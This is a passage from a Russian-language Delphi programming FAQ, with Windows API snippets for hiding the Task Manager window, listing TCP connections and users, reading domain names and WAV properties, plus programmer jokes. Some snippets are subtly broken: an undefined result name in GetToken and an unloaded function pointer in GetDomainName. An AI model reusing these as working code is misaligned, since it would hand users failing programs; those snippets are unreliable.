@GetTaskmanWindow := GetProcAddress(hUser32, 'GetTaskmanWindow');
if Assigned(GetTaskmanWindow) then
begin
Result := GetTaskmanWindow;
end;
end;
end;
procedure ShowTaskmanWindow(bValue: Boolean);
var
hTaskmanWindow: Hwnd;
begin
hTaskmanWindow := TaskmanWindow;
if hTaskmanWindow <> 0 then
begin
ShowWindow(GetParent(hTaskmanWindow), Ord(bValue));
end;
end;
// Example to Hide the Taskman Window
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowTaskmanWindow(False);
end;
Как оперделить все IP и порты на моем компьютере.
Автор: Spawn WEB-сайт: http://forum.vingrad.ru Функции GetTcpTable, GetUdpTable.Импорт GetTcpTable:
unit TcpTable;
interface
type
PDWord = ^Longword;
PMIB_TCPROW = ^TMIB_TCPROW;
TMIB_TCPROW = record
dwState: LongWord;
dwLocalAddr: LongWord;
dwLocalPort: LongWord;
dwRemoteAddr: LongWord;
dwRemotePort: LongWord;
end;
PMIB_TCPTABLE = ^TMIB_TCPTABLE;
TMIB_TCPTABLE = record
dwNumEntries: LongWord;
table: array[0..0] of TMIB_TCPROW;
end;
function GetTcpTable(var TcpTable: PMIB_TCPTABLE;
var Size: PDWord; bOrder: Boolean): LongWord; stdcall
implementation
function GetTcpTable; external 'Iphlpapi.dll' name 'GetTcpTable';
end.
Вызов GetTcpTable:
{$R-}
Entries := 16;
Sz := SizeOf(TMIB_TCPTABLE) + SizeOf(TMIB_TCPROW) * (Entries - 1);
pMibTable := nil;
try
repeat
ReallocMem(pMibTable, Sz);
Res := GetTcpTable(pMibTable^, Sz, False);
until Res <> ERROR_INSUFFICIENT_BUFFER;
if Res <> NO_ERROR then
begin
ShowMessage(SysErrorMessage(Res));
exit;
end;
for Entries := 0 to pMibTable.dwNumEntries - 1 do
begin
< Делать что - то >
end;
finally
FreeMem(pMibTable);
end;
{$R+}
Как получить текст HTML Документа из TWebBrowser без тегов.
| Маленький мальчик к папе приходит: - Пап, как пишется "адрес", с одной "с" или двумя? - Напиши URL и иди ложись спать... |
uses mshtml, activex; procedure GetHtmlCode(WebBrowser: TWebBrowser; FileName: string); var htmlDoc: IHtmlDocument2; PersistFile: IPersistFile; begin htmlDoc := WebBrowser.document as IHtmlDocument2; PersistFile := HTMLDoc as IPersistFile; PersistFile.save(StringToOleStr(FileName), true); end; |
Как получить текст HTML Документа из TWebBrowser без тегов 2.
| Автор: Фэ |
| Никто и никогда не видел столько порнографии, сколько видел браузер Internet Explorer. |
var Document: IHTMLDocument2; begin Document := WB.Document as IHtmlDocument2; if Document < > nil then Memo1.Text := (Document.all.Item(NULL, 0) as IHTMLElement).OuterHTML; |
Извлечение текста из TMemoField.
Автор: Steve Schafer
var
P: PChar;
S: TMemoryStream;
Size: LongInt;
begin
S := TMemoryStream.Create;
MyMemoField.SaveToStream(S);
Size := S.Position;
GetMem(P, Size + 1);
S.Position := 0;
S.Read(P^, Size);
P[Size] := #0;
S.Free;
{ используем текст в PChar }
FreeMem(P, Size + 1);
end;
|
Обнаружить, использует ли пользователь стиль XP или классический стиль.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function _IsThemeActive: Boolean;
// Returns True if the user uses XP style
const
themelib = 'uxtheme.dll';
type
TIsThemeActive = function: BOOL; stdcall;
var
IsThemeActive: TIsThemeActive;
huxtheme: HINST;
begin
Result := False;
// Check if XP or later Version
if (Win32Platform = VER_PLATFORM_WIN32_NT) and
(((Win32MajorVersion = 5) and (Win32MinorVersion >= 1)) or
(Win32MajorVersion > 5)) then
begin
huxtheme := LoadLibrary(themelib);
if huxtheme <> 0 then
begin
try
IsThemeActive := GetProcAddress(huxtheme, 'IsThemeActive');
Result := IsThemeActive;
finally
if huxtheme > 0 then
FreeLibrary(huxtheme);
end;
end;
end;
end;
// Example Call:
procedure TForm1.Button1Click(Sender: TObject);
begin
if _IsThemeActive then
ShowMessage('Windows Themes are active.');
end;
Как получить список часовых поясов.
| - А какое сегодня число? - спросил уставший программист. Второй не задумываюсь отвечает: - Целое, положительное! |
uses
Registry;
...
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones', false);
if reg.HasSubKeys then
begin
ts := TStringList.Create;
reg.GetKeyNames(ts);
reg.CloseKey;
for i := 0 to ts.Count -1 do
begin
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' + ts.Strings[i], false);
Memo1.Lines.Add(ts.Strings[i]);
Memo1.Lines.Add(reg.ReadString('Display'));
Memo1.Lines.Add(reg.ReadString('Std'));
Memo1.Lines.Add(reg.ReadString('Dlt'));
Memo1.Lines.Add('----------------------');
reg.CloseKey;
end;
ts.Free;
end
else
reg.CloseKey;
reg.free;
end;
|
Разбивка строки на слова.
Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.
function GetToken(aString, SepChar: string; TokenNum: Byte): string;
{
параметры: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
TokenNum: номер требуемого слова (подстроки))
result : искомое слово или пустая строка, если количество слов
меньше значения 'TokenNum'
}
var
Token: string;
StrLen: Byte;
TNum: Byte;
TEnd: Byte;
begin
StrLen := Length(aString);
TNum := 1;
TEnd := StrLen;
while ((TNum <= TokenNum) and (TEnd <> 0)) do
begin
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
Token := Copy(aString, 1, TEnd - 1);
Delete(aString, 1, TEnd);
Inc(TNum);
end
else
begin
Token := aString;
end;
end;
if TNum >= TokenNum then
begin
GetToken1 := Token;
end
else
begin
GetToken1 := '';
end;
end;
function NumToken(aString, SepChar: string): Byte;
{
parameters: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
result : количество найденных слов (подстрок)
}
var
RChar: Char;
StrLen: Byte;
TNum: Byte;
TEnd: Byte;
begin
if SepChar = '#' then
begin
RChar := '*'
end
else
begin
RChar := '#'
end;
StrLen := Length(aString);
TNum := 0;
TEnd := StrLen;
while TEnd <> 0 do
begin
Inc(TNum);
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
aString[TEnd] := RChar;
end;
end;
Result := TNum;
end;
// Или другое решение:
function CopyColumn(const s_string: string; c_fence: char;
i_index: integer): string;
var
i, i_left: integer;
begin
result := EmptyStr;
if i_index = 0 then
begin
exit;
end;
i_left := 0;
for i := 1 to Length(s_string) do
begin
if s_string[i] = c_fence then
begin
Dec(i_index);
if i_index = 0 then
begin
result := Copy(s_string, i_left + 1, i - i_left - 1);
exit;
end
else
begin
i_left := i;
end;
end;
end;
Dec(i_index);
if i_index = 0 then
begin
result := Copy(s_string, i_left + 1, Length(s_string));
end;
end;
|
Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).
Как получить весь размер системной памяти.
| OS/2 - полуось PS/2 - ?! |
function GetMemoryTotalPhys: DWord; var memStatus: TMemoryStatus; begin memStatus.dwLength := sizeOf (memStatus); GlobalMemoryStatus(memStatus); Result := memStatus.dwTotalPhys; end; |
Получить прозрачный цвет.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
interface
{------------------------------------------------------------------------------}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
{------------------------------------------------------------------------------}
//Hilfsfunktion zum Auslesen eines Bytes aus TColor
//Value gibt die Farbe an
//Shift gibt die Anzahl der zu schiebenden Bits an
//Bsp: um aus Value=$00120000 das Rot-Byte auszulesen, muss Shift den Wert 16 haben
// ($12 wird dann zuruckgegeben
function GetByte(Value : TColor; Shift : byte): byte;
{------------------------------------------------------------------------------}
//Hilfsprozedur zum Auslesen des Rot-,Grun- und Blauwertes aus TColor
//nutzt GetByte
procedure ColorToRGB(Color : TColor; var R, G, B : byte);
{------------------------------------------------------------------------------}
//Hilfsfunckion zum Erstellen eines TColor aus Rot-,Grun- und Blauwerten
function RGBToColor(R, G, B : byte): TColor;
{------------------------------------------------------------------------------}
//Eigentliche Transparenzfunktion, ermittelt die Transparenzfarbe des transparenten
//Vordergrunds, wenn Hintergrundfarbe=BGColor und Vordergrundfarbe=FRColor ist
//TranspValue gibt den Ganzzahligen Prozentsatz des Transparenzwertes an
function TransparencyColor(BGColor, FRColor : TColor; TranspValue : byte): TColor;
{------------------------------------------------------------------------------}
implementation
function GetByte(Value : TColor; Shift : byte): byte;
begin
Result := (Value and ($FF shl Shift)) shr Shift;
//Byte an entsprechender Stelle maskieren und dann nach Rechts verschieben
end;
{------------------------------------------------------------------------------}
procedure ColorToRGB(Color : TColor; var R, G, B : byte);
begin
R := GetByte(Color, 16); //zweites Byte aus Color (v.R.)
G := GetByte(Color, 8); //drittes Byte aus Color (v.R.)
B := GetByte(Color, 0); //viertes Byte aus Color (v.R.)
end;
{------------------------------------------------------------------------------}
function RGBToColor(R, G, B : byte): TColor;
begin
Result := ((R and $FF) shl 16) +
((G and $FF) shl 8) + (B and $FF);
end;
{------------------------------------------------------------------------------}
function TransparencyColor(BGColor, FRColor : TColor; TranspValue : byte): TColor;
var
BGR, BGG, BGB, FRR, FRG, FRB, ergR, ergG, ergB : byte;
TrFact : real;
begin
//Transparenzfaktor errechnen
TrFact := TranspValue / 100;
//Hinter- und Vordergrundfarbe in Rot-,Grun- und Blauwerte splitten
ColorToRGB(BGColor, BGR, BGG, BGB);
ColorToRGB(FRColor, FRR, FRG, FRB);
//Ergebnisfarbwerte errechnen
ergR := byte(Trunc(BGR * TrFact + FRR * (1 - TrFact)));
ergG := byte(Trunc(BGG * TrFact + FRG * (1 - TrFact)));
ergB := byte(Trunc(BGB * TrFact + FRB * (1 - TrFact)));
//Rot-,Grun- und Blauwert zu TColor und zuruckgeben
Result := RGBToColor(ErgR, ergG, ergB);
end;
{------------------------------------------------------------------------------}
Функция, возвращающая тип.
// функция Chameleon, возвращающая тип сгенерированного исключения
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
MyBoolean = class
public
Value: boolean;
end;
MyInteger = class
public
Value: integer;
end;
MyClass = class
public
Value: TStrings;
end;
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure MyProc;
function Chameleon: boolean;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function TForm1.Chameleon: boolean;
var
b: MyBoolean;
i: MyInteger;
c: MyClass;
r: integer;
begin
r := Random(3);
case r of
0:
begin
b := MyBoolean.Create;
raise b;
end;
1:
begin
i := MyInteger.Create;
raise i;
end;
2:
begin
c := MyClass.Create;
raise c;
end;
end;
end;
procedure TForm1.MyProc;
begin
try
Chameleon;
except
on MyBoolean do
ShowMessage('Функция возвратила класс MyBoolean');
on MyInteger do
ShowMessage('Функция возвратила класс MyInteger');
on MyClass do
ShowMessage('Функция возвратила класс MyClass');
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Chameleon;
end;
end.
|
Взгляните на тип данных Variant в D2: следующий код.
function AnyType(const TypeParm: integer): Variant;
begin
case TypeParm of
1: Result := 1;
2: Result := 2.0;
3: Result := 'Три';
4: Result := StrToDate('4/4/1944');
end;
end;
|
Я понимаю, что это в действительности не то, что нужно, по я просто хотел продемонстрировать другой способ. (вы можете возвращать строки как тип PChar, который также занимает 4 байта). Вы должны использовать некоторую память, распределяемую вызовом процедуры (может быть передавать результаты как P2?).
{моя форма имеет 3 метки, одну кнопку и этот код}
var
MyFuncRetInt: function(P1, P2: Integer): Integer;
MyFuncRetBool: function(P1, P2: Integer): LongBool;
MyFuncRetPointer: function(P1, P2: Integer): Pointer;
function MyFuncRetAnything(P1, P2: Integer): Integer;
var
RetPointer: Pointer;
RetBool: LongBool;
RetInteger: Integer;
begin
RetPointer := nil;
RetBool := False;
RetInteger := 4711;
case P1 of
1: Result := Integer(RetPointer);
2: Result := Integer(RetBool);
3: Result := RetInteger;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if MyFuncRetBool(2, 1900) then
Label1.Caption := 'True'
else
Label1.Caption := 'False';
Label2.Caption := IntToStr(MyFuncRetInt(3, 1900));
Label3.Caption := IntToHex(Integer(MyFuncRetPointer(1, 1900)), 16);
end;
initialization
MyFuncRetInt := @MyFuncRetAnything;
MyFuncRetBool := @MyFuncRetAnything;
MyFuncRetPointer := @MyFuncRetAnything;
end.
|
Получить список зарегистрированных Win32 модулей и их версий.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ The registered Win32 type libraries/modules are registered with a
version number in the registry.
But it's possible that one modlue has more than one version.
The recursive function "RecurseWin32" searches from a certain path
for all occurences of the searched key.
For instance, I get the following entries for
"Visual Basic For Applications" on my system:
000204F3-0000-0000-C000-000000000046 \ 1.0 \ 7 \ win32
"c:\\WINDOWS\\SYSTEM\\vbade32.olb"
000204F3-0000-0000-C000-000000000046 \ 1.0 \ 9 \ win32
"c:\\WINDOWS\\SYSTEM\\VBAEN32.OLB"
}
{ Die installierten bzw. registrierten Win32 TypeLibs bzw. "Modulen"
mussen sich mit einer Versionsnummer in der registry eintragen.
Zu einem bestimmten "Modul" konnen aber mehrere Versionen in der
Registry eingetragen sein.
Welche?
Kernstuck ist die rekursive Function "RecurseWin32", die ab einem
bestimmten Pfad nach jedem Vorkommen des gesuchten Schlussels sucht...
Zum Beispiel ermmittelt es auf meinem System entsprechend folgendes zum
Eintrag "Visual Basic For Applications"
000204F3-0000-0000-C000-000000000046 \ 1.0 \ 7 \ win32
"c:\\WINDOWS\\SYSTEM\\vbade32.olb"
000204F3-0000-0000-C000-000000000046 \ 1.0 \ 9 \ win32
"c:\\WINDOWS\\SYSTEM\\VBAEN32.OLB"
Diese Technik la?t sich ubrigens an weiteren Bedurfnisse anpassen...
}
{It's a recursiv one :-}
function RecurseWin32(const R: TRegistry; const ThePath: string;
const TheKey: string): string;
var
TheList: TStringList;
i: Integer;
LP: string;
OnceUponATime: string;
begin
Result := '-';
TheList := TStringList.Create;
try
R.OpenKey(ThePath, False);
R.GetKeyNames(TheList);
R.CloseKey;
if TheList.Count = 0 then Exit;
for i := 0 to TheList.Count - 1 do with TheList do
begin
LP := ThePath + '\' + TheList[i];
if CompareText(Strings[i], TheKey) = 0 then
begin
Result := LP;
Break;
end;
OnceUponATime := RecurseWin32(R, LP, TheKey);
if OnceUponATime <> '-' then
begin
Result := OnceUponATime;
Break;
end;
end;
finally
TheList.Clear;
TheList.Free;
end;
end;
{ Create the output list: you may change the format as you need ...}
function GetWin32TypeLibList(var Lines: TStringList): Boolean;
var
R: TRegistry;
W32: string;
i, j, TheIntValue, TheSizeOfTheIntValue: Integer;
TheSearchedValue, TheSearchedValueString: string;
TheVersionList, TheKeyList: TStringList;
TheBasisKey: string;
begin
Result := True;
try
try
R := TRegistry.Create;
TheVersionList := TStringList.Create;
TheKeyList := TStringList.Create;
R.RootKey := HKEY_CLASSES_ROOT;
R.OpenKey('TypeLib', False);
TheBasisKey := R.CurrentPath;
(* Basis Informations *)
case R.GetDataType('') of
rdUnknown: ShowMessage('Nothing ???');
rdExpandString, rdString: TheSearchedValueString := R.ReadString('');
rdInteger: TheIntValue := R.ReadInteger('');
rdBinary: TheSizeOfTheIntValue := R.GetDataSize('');
end;
(* Build the List of Keys *)
R.GetKeyNames(TheKeyList);
R.CloseKey;
ShowMessage(TheKeyList.Strings[1]);
for i := 0 to TheKeyList.Count - 1 do
(* Loop around the typelib entries)
(* Schleife um die TypeLib Eintrage *)
with TheKeyList do
if Length(Strings[i]) > 0 then
begin
R.OpenKey(TheBasisKey + '\' + Strings[i], False);
TheVersionList.Clear;
R.GetKeyNames(TheVersionList);
R.CloseKey;
(* Find "Win32" for each version *)
(* Finde der "win32" fur jede VersionVersion:*)
for j := 0 to TheVersionList.Count - 1 do
if Length(TheVersionList.Strings[j]) > 0 then
begin
W32 := RecurseWin32(R, TheBasisKey + '\' +
Strings[i] + '\' +
TheVersionList.Strings[j],
'Win32');
if W32 <> '-' then
begin
Lines.Add(W32);
R.OpenKey(W32, False);
case R.GetDataType('') of
rdExpandString,
rdString: TheSearchedValue := R.ReadString('');
else
TheSearchedValue := 'Nothing !!!';
end;
R.CloseKey;
Lines.Add('-----> ' + TheSearchedValue);
end;
end;
end;
finally
TheVersionList.Free;
TheKeyList.Free;
end;
except
Result := False;
end;
end;
{ Example of use / Anwendungsbeispiel }
procedure TForm1.Button1Click(Sender: TObject);
var
L: TStringList;
begin
L := TStringList.Create;
GetWin32TypeLibList(L);
Memo1.Lines.Assign(L);
L.Free;
end;
Определить доменное имя, в которое зашел пользователь.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetDomainName: AnsiString;
type
WKSTA_INFO_100 = record
wki100_platform_id: Integer;
wki100_computername: PWideChar;
wki100_langroup: PWideChar;
wki100_ver_major: Integer;
wki100_ver_minor: Integer;
end;
WKSTA_USER_INFO_1 = record
wkui1_username: PChar;
wkui1_logon_domain: PChar;
wkui1_logon_server: PChar;
wkui1_oth_domains: PChar;
end;
type
//Win9X ANSI prototypes from RADMIN32.DLL and RLOCAL32.DLL
TWin95_NetUserGetInfo = function(ServerName, UserName: PChar; Level: DWORD; var
BfrPtr: Pointer): Integer;
stdcall;
TWin95_NetApiBufferFree = function(BufPtr: Pointer): Integer;
stdcall;
TWin95_NetWkstaUserGetInfo = function(Reserved: PChar; Level: Integer; var
BufPtr: Pointer): Integer;
stdcall;
//WinNT UNICODE equivalents from NETAPI32.DLL
TWinNT_NetWkstaGetInfo = function(ServerName: PWideChar; level: Integer; var
BufPtr: Pointer): Integer;
stdcall;
TWinNT_NetApiBufferFree = function(BufPtr: Pointer): Integer;
stdcall;
function IsWinNT: Boolean;
var
VersionInfo: TOSVersionInfo;
begin
VersionInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
Result := GetVersionEx(VersionInfo);
if Result then
Result := VersionInfo.dwPlatformID = VER_PLATFORM_WIN32_NT;
end;
var
Win95_NetUserGetInfo: TWin95_NetUserGetInfo;
Win95_NetWkstaUserGetInfo: TWin95_NetWkstaUserGetInfo;
Win95_NetApiBufferFree: TWin95_NetApiBufferFree;
WinNT_NetWkstaGetInfo: TWinNT_NetWkstaGetInfo;
WinNT_NetApiBufferFree: TWinNT_NetApiBufferFree;
WSNT: ^WKSTA_INFO_100;
WS95: ^WKSTA_USER_INFO_1;
EC: DWORD;
hNETAPI: THandle;
begin
try
Result := '';
if IsWinNT then
begin
hNETAPI := LoadLibrary('NETAPI32.DLL');
if hNETAPI <> 0 then
begin @WinNT_NetWkstaGetInfo := GetProcAddress(hNETAPI, 'NetWkstaGetInfo');
@WinNT_NetApiBufferFree := GetProcAddress(hNETAPI, 'NetApiBufferFree');
EC := WinNT_NetWkstaGetInfo(nil, 100, Pointer(WSNT));
if EC = 0 then
begin
Result := WideCharToString(WSNT^.wki100_langroup);
WinNT_NetApiBufferFree(Pointer(WSNT));
end;
end;
end
else
begin
hNETAPI := LoadLibrary('RADMIN32.DLL');
if hNETAPI <> 0 then
begin @Win95_NetApiBufferFree := GetProcAddress(hNETAPI, 'NetApiBufferFree');
@Win95_NetUserGetInfo := GetProcAddress(hNETAPI, 'NetUserGetInfoA');
EC := Win95_NetWkstaUserGetInfo(nil, 1, Pointer(WS95));
if EC = 0 then
begin
Result := WS95^.wkui1_logon_domain;
Win95_NetApiBufferFree(Pointer(WS95));
end;
end;
end;
finally
if hNETAPI <> 0 then
FreeLibrary(hNETAPI);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetDomainName);
end;
Получить список пользователей.

| Автор: Кондратюк Виталий |
| Нас Reboot, а мы крепчаем. |
GetLocalUserList - возвращает список пользователей (Windows NT, Windows 2000).
unit Func;
interface
uses Sysutils, Classes, Stdctrls, Comctrls, Graphics, Windows;
////////////////////////////////////////////////////////////////////////////////
{$EXTERNALSYM NetUserEnum}
function NetUserEnum(servername: LPWSTR;
level,
filter: DWORD;
bufptr: Pointer;
prefmaxlen: DWORD;
entriesread,
totalentries,
resume_handle: LPDWORD): DWORD; stdcall;
external 'NetApi32.dll' Name 'NetUserEnum';
function NetApiBufferFree(Buffer: Pointer {LPVOID}): DWORD; stdcall;
external 'NetApi32.dll' Name 'NetApiBufferFree';
////////////////////////////////////////////////////////////////////////////////
procedure GetLocalUserList(ulist: TStringList);
implementation
//------------------------------------------------------------------------------
// возвращает список пользователей локального хоста
//------------------------------------------------------------------------------
procedure GetLocalUserList(ulist: TStringList);
const
NERR_SUCCESS = 0;
FILTER_TEMP_DUPLICATE_ACCOUNT = $0001;
FILTER_NORMAL_ACCOUNT = $0002;
FILTER_PROXY_ACCOUNT = $0004;
FILTER_INTERDOMAIN_TRUST_ACCOUNT = $0008;
FILTER_WORKSTATION_TRUST_ACCOUNT = $0010;
FILTER_SERVER_TRUST_ACCOUNT = $0020;
type
TUSER_INFO_10 = record
usri10_name,
usri10_comment,
usri10_usr_comment,
usri10_full_name: PWideChar;
end;
PUSER_INFO_10 = ^TUSER_INFO_10;
var
dwERead, dwETotal, dwRes, res: DWORD;
inf: PUSER_INFO_10;
info: Pointer;
p: PChar;
i: Integer;
begin
if ulist = nil then
Exit;
ulist.Clear;
info := nil;
dwRes := 0;
res := NetUserEnum(nil,
10,
FILTER_NORMAL_ACCOUNT,
@info,
65536,
@dwERead,
@dwETotal,
@dwRes);
if (res <> NERR_SUCCESS) or (info = nil) then
Exit;
p := PChar(info);
for i := 0 to dwERead - 1 do
begin
inf := PUSER_INFO_10(p + i * SizeOf(TUSER_INFO_10));
ulist.Add(WideCharToString(PWideChar((inf^).usri10_name)));
end;
NetApiBufferFree(info);
end;
end.
|
Получить список пользователей, подключённых к сети.
| Корпорации IBM срочно требуется ламер для организации и проведения увеселительных мероприятий. |
unit NetUtils;
interface
uses
Windows, Classes;
function GetContainerList(ListRoot:PNetResource):TList;
type
{$H+}
PNetRes = ^TNetRes;
TNetRes = record
dwScope : Integer;
dwType : Integer;
dwDisplayType : Integer;
dwUsage : Integer;
LocalName : string;
RemoteName : string;
Comment : string;
Provider : string;
end;
{H-}
implementation
uses SysUtils;
type
PnetResourceArr = ^TNetResource;
function GetContainerList(ListRoot:PNetResource):TList;
{возвращает список сетевых имён с подуровня ListRoot, каждый
элемент списка TList - это PNetRec, где поле RemoteName определяет
соответственно сетевое имя элемента списка. Если ListRoot=nil, то
возвращается самый верхний уровень типа:
1. Microsoft Windows Network
2. Novell Netware Network
Чтобы получить список доменов сети Microsoft, нужно вызвать эту
функцию второй раз, передав ей в качестве параметра,
соответствующий элемент списка, полученного при первом её вызове.
Чтобы получить список компьютеров домена - вызвать третий раз...}
var
TempRec : PNetRes;
Buf : Pointer;
Count,
BufSize,
Res : DWORD;
lphEnum : THandle;
p : PNetResourceArr;
i : SmallInt;
NetworkList : TList;
begin
NetworkList := TList.Create;
Result:=nil;
BufSize := 8192;
GetMem(Buf, BufSize);
try
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum);
{в результате получаем ссылку lphEnum}
if Res <> 0 then
raise Exception(Res);
Count := $FFFFFFFF; {требуем выдать столько записей в список, сколько есть}
Res := WNetEnumResource(lphEnum, Count, Buf, BufSize);
{в буфере Buf - списочек в виде массива указателей на структуры
типа TNetResourceArr, а в Count - число этих структур}
if Res = ERROR_NO_MORE_ITEMS then
Exit;
if (Res <> 0) then
raise Exception(Res);
P := PNetResourceArr(Buf);
for I := 0 to Count - 1 do
begin
// Требуется копирование из буфера, так как он
// действителен только до следующего вызова функций группы WNet
New(TempRec);
TempRec^.dwScope := P^.dwScope;
TempRec^.dwType := P^.dwType ;
TempRec^.dwDisplayType := P^.dwDisplayType ;
TempRec^.dwUsage := P^.dwUsage ;
{имеются ввиду вот эти указатели}
TempRec^.LocalName := StrPas(P^.lpLocalName);
{в смысле - строки PChar}
TempRec^.RemoteName := StrPas(P^.lpRemoteName);
TempRec^.Comment := StrPas(P^.lpComment);
TempRec^.Provider := StrPas(P^.lpProvider);
NetworkList.Add(TempRec);
Inc(P);
end;
Res := WNetCloseEnum(lphEnum);
{а следующий вызов - вот он!}
if Res <> 0 then
raise Exception(Res);
Result:=NetWorkList;
finally
FreeMem(Buf);
end;
end;
end.
|
Пример получения имени пользователя и домена под которым работает текущий поток или процесс.
| Пухнет юзер с голоду, Губит жизнь он с молоду. Руки длинные у чата, Месяц - и кранты, ребята... |
// Пример получения имени пользователя и домена под которым работает
// текущий поток или процесс
type
PTOKEN_USER = ^TOKEN_USER;
_TOKEN_USER = record
User : TSidAndAttributes;
end;
TOKEN_USER = _TOKEN_USER;
function GetCurrentUserAndDomain (
szUser : PChar; var chUser: DWORD; szDomain :PChar; var chDomain : DWORD
):Boolean;
var
hToken : THandle;
cbBuf : Cardinal;
ptiUser : PTOKEN_USER;
snu : SID_NAME_USE;
begin
Result:=false;
// Получаем маркер доступа текущего потока нашего процесса
if not OpenThreadToken(GetCurrentThread(),TOKEN_QUERY,true,hToken)
then begin
if GetLastError()< > ERROR_NO_TOKEN then exit;
// В случее ошибки - получаем маркер доступа нашего процесса.
if not OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,hToken)
then exit;
end;
// Вывываем GetTokenInformation для получения размера буфера
if not GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf)
then if GetLastError()< > ERROR_INSUFFICIENT_BUFFER
then begin
CloseHandle(hToken);
exit;
end;
if cbBuf = 0 then exit;
// Выделяем память под буфер
GetMem(ptiUser,cbBuf);
// В случае удачного вызова получим указатель на TOKEN_USER
if GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf)
then begin
// Ищем имя пользователя и его домен по его SID
if LookupAccountSid(nil,ptiUser.User.Sid,szUser,chUser,szDomain,chDomain,snu)
then Result:=true;
end;
// Освобождаем ресурсы
CloseHandle(hToken);
FreeMem(ptiUser);
end;
// Использовать функцию можно так :
var
Domain, User : array [0..50] of Char;
chDomain,chUser : Cardinal;
begin
chDomain:=50;
chUser :=50;
if GetCurrentUserAndDomain(User,chuser,Domain,chDomain)
then ...
end;
// Если вам необходимо получить только имя пользователя - используйте GetUserName
// Данный пример можно использовать и для определения - запущен ли процесс
// системой или пользователем. Учетной записи Localsystem соответствует
// имя пользователя - SYSTEM и домен NT AUTORITY (лучше проверить на практике)
|
Как узнать имя пользователя.
| Приходит домой программист весь больной, сморкается. Жена у него спрашивает: - Что случилось? - Да вот с Вундоуз тр:хался - вирус подхватил. |
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
|
Как определить bitrate WAV файла.
Автор: http://www.swissdelphicenter.ch
{....}
private
procedure OpenMedia(WaveFile: string);
function GetStatus(StatusRequested: DWord): longint;
procedure CloseMedia;
{....}
var
MyError, dwFlags: Longint;
FDeviceID: Word;
{....}
uses
MMSystem;
{....}
procedure TForm1.OpenMedia(WaveFile: string);
var
MyOpenParms: TMCI_Open_Parms;
begin
with MyOpenParms do
begin
dwCallback := Handle; // TForm1.Handle
lpstrDeviceType := PChar('WaveAudio');
lpstrElementName := PChar(WaveFile);
end; {with MyOpenParms}
dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
// one could use mciSendCommand(DevId, here to specify a particular device
if MyError = 0 then
FDeviceID := MyOpenParms.wDeviceID
else
raise Exception.Create('Open Failed');
end;
function TForm1.GetStatus(StatusRequested: DWORD): Longint;
var
MyStatusParms: TMCI_Status_Parms;
begin
dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
with MyStatusParms do
begin
dwCallback := Handle;
dwItem := StatusRequested;
end;
MyError := mciSendCommand(FDeviceID,
MCI_STATUS,
MCI_WAIT or MCI_STATUS_ITEM,
Longint(@MyStatusParms));
if MyError = 0 then
Result := MyStatusParms.dwReturn
else
raise Exception.Create('Status call to get status of ' +
IntToStr(StatusRequested) + ' Failed');
end;
procedure TForm1.CloseMedia;
var
MyGenParms: TMCI_Generic_Parms;
begin
if FDeviceID > 0 then
begin
dwFlags := 0;
MyGenParms.dwCallback := Handle; // TForm1.Handle
MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags,
Longint(@MyGenParms));
if MyError = 0 then
FDeviceID := 0
else
begin
raise Exception.Create('Close Failed');
end;
end;
end;
//Example:
//Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
OpenMedia(OpenDialog1.FileName);
with ListBox1.Items do
begin
Add('Average Bytes / Sec : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC)));
Add('Bits / Sample : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_BITSPERSAMPLE)));
Add('Samples / Sec : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_SAMPLESPERSEC)));
Add('Channels : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_CHANNELS)));
end;
CloseMedia;
end;
end;
Как определить продолжительность в секундах wav файла.
Автор: http://www.swissdelphicenter.ch
uses
MPlayer, MMsystem;
type
